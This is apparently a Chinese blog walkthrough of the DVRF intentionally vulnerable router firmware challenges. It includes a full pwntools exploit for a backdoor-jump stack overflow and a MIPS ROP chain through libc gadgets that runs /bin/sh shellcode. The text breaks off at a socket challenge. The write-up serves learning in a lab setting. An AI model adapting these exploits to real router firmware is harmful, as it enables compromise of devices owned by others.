DVRF 项目介绍
该项目目标是模拟一个真实的环境,帮助人们了解 x86_64 之外的其他 CPU 架构。此固件是针对 Linksys E1550 设备量身定制的。如果您没有,请不要担心!可以用 qemu 模拟。
项目地址:https://github.com/praetorian-inc/DVRF
模拟环境主要是用 ubuntu 16 ,如果部分题目用 qemu-user 模拟不了,就转去 attify 3.0 。但是 attify gdb 插件 gef 视乎在模拟时 vmmap 查不过来 libc 地址,问题不大只是查询方法饶了一点,还是可以解决的。
-
ubuntu 16.04
-
pwndbg
-
Qemu-static(version 2.11.1)
-
gdb-multiarch
-
-
attify 3.0
-
下载地址:https://github.com/adi0x90/attifyos
-
获取参数后,未校验长度赋值给局部变量造成栈溢出,有后门函数 0x00400950
:
Main 函数由 libc_main_start 调用,即 main 函数为非叶子函数,返回地址存放在栈上,从汇编可见:
直接跳转 0x00400950 会因为 t9 的值被修改而错误。mips默认 t9 为当前函数开始地址。函数内部通过 t9 寄存器和 gp 寄存器来找数据,地址等。
其他师傅文章中是通过找 libc 中的 lw $t9, arg_0($sp);jalr $t9
调整 t9 寄存器。但是我固件镜像中的 libc 没有这个 gadget ,按照偏移地址跳转过去是 jalr $t9
。换个思路直接跳过 dat_shell 开头调整 gp 部分:
修复 t9 寄存器思路参考师傅文章:
https://www.cnblogs.com/hac425/p/9416758.html
调试方法需要打开几个 terminal 启动不同的命令:
-
启动 qemu 模拟
-strace 查看 qemu 调试信息,方便观察执行了什么命令
qemu-mipsel-static -L . -g 1234 -strace ./pwnable/Intro/uaf_01 aaaa
-
gdb-multiarch
gdb-multiarch ./pwnable/Intro/stack_bof_01 set architecture mips set endian little target remote :1234
连上之后会停在 start ,在 main 函数开头打断点,运行到这个断点,然后就慢慢单步调试。
EXP字符串是从参数读入,跳转地址转换后是不可见字符 ,需要借助 cat
传入参数
# file_name: stack_bof_01.py
from pwn import *
context.binary = "./pwnable/Intro/stack_bof_01"
context.arch = "mips"
context.endian = "little"
backdoor = 0x0040095c
payload = 'a'*0xc8+'b'*0x4
payload += p32(backdoor)
with open("stack_bof_01_payload","w") as file:
file.write(payload)
命令行执行:
sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 "`cat stack_bof_01_payload`"
stack_bof_02
和前面一题差不多,调试方法也一样,就是少了后门函数,造成溢出函数变成了 strcpy
:
main 非叶子函数覆盖函数返回地址跳转存放在栈上的 shellocde 。qemu 模拟地址没有随机化,相当于 aslr 关闭了,直接调试查出 v4 的内存地址
Shellcode 查询:
http://shell-storm.org/shellcode/files/shellcode-792.php
直接写入 shellcode 可以完整执行完,但是执行 syscall 0x40404
之后没有弹 shell 而是进行运行到下一条指令。问了师傅说也有遇到过这种情况,通过加无意义的指令(nop)调整 shellcode 位置有机会能成,用了 XOR $t1, $t1, $t1
避免 strcpy \x00
截断(只有不包含截断符指令都行),尝试后无果。
查阅资料后发现,由于 mips 是流水指令集,存在 cache incoherency 的特性,需要调用 sleep 或者其他函数将数据区刷新到当前指令区中去,才能正常执行 shellcode 。
https://ctf-wiki.org/pwn/linux/mips/mips_rop/#2-dvrf-stack_bof_02c
构造 ROP 的 gadget 得去 libc 找,程序自身没多少个。我在 ubuntu18 gdb 连上报错,换到 ubuntu16 vmmap 查不出来 libc 信息(如图),最后换 attify 解决问题。
libc路径:/squashfs-root/lib/libc.so.0
先调用 sleep(1) 就需要找 gadget 控制参数以及跳转。mipsrop.find("li $a0,1")
控制第一个参数,任选一个后面 rop 没有 gadget 继续构造就换一个 -。- ,我选着第二个构造 gadget1 = 0x2FB10
:
.text:0002FB10 li $a0, 1
.text:0002FB14 move $t9, $s1
.text:0002FB18 jalr $t9 ; sub_2F818
接着需要找一个控制 s1 的 gadget ,用于控制执行完 gadget1 之后跳转到哪里。mipsrop.find("li $s1")
结果有很多,最后选了 gadget2 = 0x00007730
:
.text:00007730 lw $ra, 0x18+var_s10($sp)
.text:00007734 lw $s3, 0x18+var_sC($sp)
.text:00007738 lw $s2, 0x18+var_s8($sp)
.text:0000773C lw $s1, 0x18+var_s4($sp)
.text:00007740 lw $s0, 0x18+var_s0($sp)
.text:00007744 jr $ra
至此 a0 被控制为 1 ,目前 payload 结构为:
payload = "a"*508
payload += p32(gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += "????"#s1
payload += "bbbb"#s2
payload += "bbbb"#s3
payload += p32(gadget1)#ra
不能直接将 sleep(0x767142b0) 填到 s1 处,因为直接填地址跳转 sleep 缺少了跳转前将返回地址放到 ra 寄存器(或压栈)的过程,当 sleep 运行到结尾的 jalr $ra
时,又会跳转会到 gadget1 ,所以要换个方式。
mipsrop.tails()
找通过 s0\s2\s3 寄存器跳转的 gadget ,选择了 gadget3 = 0x00020F1C
:
.text:00020F1C move $t9, $s2
.text:00020F20 lw $ra, 0x18+var_sC($sp)
.text:00020F24 lw $s2, 0x18+var_s8($sp)
.text:00020F28 lw $s1, 0x18+var_s4($sp)
.text:00020F2C lw $s0, 0x18+var_s0($sp)
.text:00020F30 jr $t9
解决 sleep 运行结束返回地址问题,并 lw $ra, 0x18+var_sC($sp)
控制下一层跳转,payload 结构:
payload = "a"*508
payload += p32(gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += p32(gadget3)#s1
payload += p32(sleep)#s2
payload += "bbbb"#s3
payload += p32(gadget1)#ra
#######
payload += "a"*(0x18+0x4)
payload += "cccc"#s0
payload += "cccc"#s1
payload += "cccc"#s2
payload += "????"#ra
mipsrop.stackfinders()
找一个 gadget 提取栈地址放到寄存器中,找的时候还要注意控制下一次跳转选择 gadget4 = 0x16dd0
这个,通过 gadget3 提前将下次跳转地址写入 s0 :
.text:00016DD0 addiu $a0, $sp, 0x38+var_20
.text:00016DD4 move $t9, $s0
.text:00016DD8 jalr $t9
payload = "a"*508
payload += p32(gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += p32(gadget3)#s1
payload += p32(sleep)#s2
payload += "bbbb"#s3
payload += p32(gadget1)#ra
#######
payload += "a"*(0x18+0x4)
payload += "????"#s0
payload += "cccc"#s1
payload += "cccc"#s2
payload += p32(gadget4)#ra
最后找一个用 a0 跳转的 gadget ,一开始用 mipsrop.tails()
没找到,最后用 mipsrop.find("move $t9,$a0)")
找着了 gadget5 = 0x214a0
,对 mipsrop 理解不够……
.text:000214A0 move $t9, $a0
.text:000214A4 sw $v0, 0x30+var_18($sp)
.text:000214A8 jalr $t9
最后跳转 shellcode 时,0x000214A4
的这句汇编 sw $v0, 0x30+var_18($sp)
会将 shellcode 第一个指令替换为 nop ,用无意义指令填充,将 shellcode 向后移。
payload = "a"*508
payload += p32(gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += p32(gadget3)#s1
payload += p32(sleep)#s2
payload += "bbbb"#s3
payload += p32(gadget1)#ra
#######
payload += "a"*(0x18+0x4)
payload += p32(gadget5)#s0
payload += "cccc"#s1
payload += "cccc"#s2
payload += p32(gadget4)#ra
#######
payload += "a"*0x18
payload += p32(0xdeadbeef)
payload += shellcode
EXP
from pwn import *
context.binary = "./pwnable/ShellCode_Required/stack_bof_02"
context.arch = "mips"
context.endian = "little"
# libc_base = 0x766e5000
sleep = 0x767142b0#0x2F2B0+0x766e5000
gadget1 = 0x76714b10
'''
0x76714b10: li a0,1
0x76714b14: move t9,s1
0x76714b18: jalr t9
'''
gadget2 = 0x766ec730
'''
0x766ec730: lw ra,40(sp)
0x766ec734: lw s3,36(sp)
0x766ec738: lw s2,32(sp)
0x766ec73c: lw s1,28(sp)
0x766ec740: lw s0,24(sp)
0x766ec744: jr ra
'''
gadget3 = 0x76705f1c
'''
0x76705f1c: move t9,s2
0x76705f20: lw ra,36(sp)
0x76705f24: lw s2,32(sp)
0x76705f28: lw s1,28(sp)
0x76705f2c: lw s0,24(sp)
0x76705f30: jr t9
'''
gadget4 = 0x766fbdd0
'''
0x766fbdd0: addiu a0,sp,24
0x766fbdd4 : move t9,s0
0x766fbdd8: jalr t9
'''
gadget5 = 0x767064a0
'''
0x767064a0: move t9,a0
0x767064a4: sw v0,24(sp)
0x767064a8: jalr t9
'''
shellcode = "\xff\xff\x06\x28" # slti $a2, $zero, -1
shellcode += "\x62\x69\x0f\x3c" # lui $t7, 0x6962
shellcode += "\x2f\x2f\xef\x35" # ori $t7, $t7, 0x2f2f
shellcode += "\xf4\xff\xaf\xaf" # sw $t7, -0xc($sp)
shellcode += "\x73\x68\x0e\x3c" # lui $t6, 0x6873
shellcode += "\x6e\x2f\xce\x35" # ori $t6, $t6, 0x2f6e
shellcode += "\xf8\xff\xae\xaf" # sw $t6, -8($sp)
shellcode += "\xfc\xff\xa0\xaf" # sw $zero, -4($sp)
shellcode += "\xf5\xff\xa4\x27" # addiu $a0, $sp, -0xc
shellcode += "\xff\xff\x05\x28" # slti $a1, $zero, -1
shellcode += "\xab\x0f\x02\x24" # addiu;$v0, $zero, 0xfab
shellcode += "\x0c\x01\x01\x01" # syscall 0x40404
payload = "a"*508
payload += p32(gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += p32(gadget3)#s1
payload += p32(sleep)#s2
payload += "bbbb"#s3
payload += p32(gadget1)#ra
#######
payload += "a"*(0x18+0x4)
payload += p32(gadget5)#s0
payload += "cccc"#s1
payload += "cccc"#s2
payload += p32(gadget4)#ra
#######
payload += "a"*0x18
payload += p32(0xdeadbeef)
payload += shellcode
with open("stack_bof_02_payload","w") as file:
file.write(payload)
socket_bof
这题二进制文件用 ida 看伪代码有点瑕疵,本来溢出点变成了一个指针,导致一直找不到,最后无奈去看了下源码和结合汇编。
#include
#include
#include
#include
#include
#include
// Pwnable Socket Program
// By b1ack0wl
// Stack Overflow
int main(int argc, char **argv[])
{
if (argc
关注
打赏
最近更新
- 深拷贝和浅拷贝的区别(重点)
- 【Vue】走进Vue框架世界
- 【云服务器】项目部署—搭建网站—vue电商后台管理系统
- 【React介绍】 一文带你深入React
- 【React】React组件实例的三大属性之state,props,refs(你学废了吗)
- 【脚手架VueCLI】从零开始,创建一个VUE项目
- 【React】深入理解React组件生命周期----图文详解(含代码)
- 【React】DOM的Diffing算法是什么?以及DOM中key的作用----经典面试题
- 【React】1_使用React脚手架创建项目步骤--------详解(含项目结构说明)
- 【React】2_如何使用react脚手架写一个简单的页面?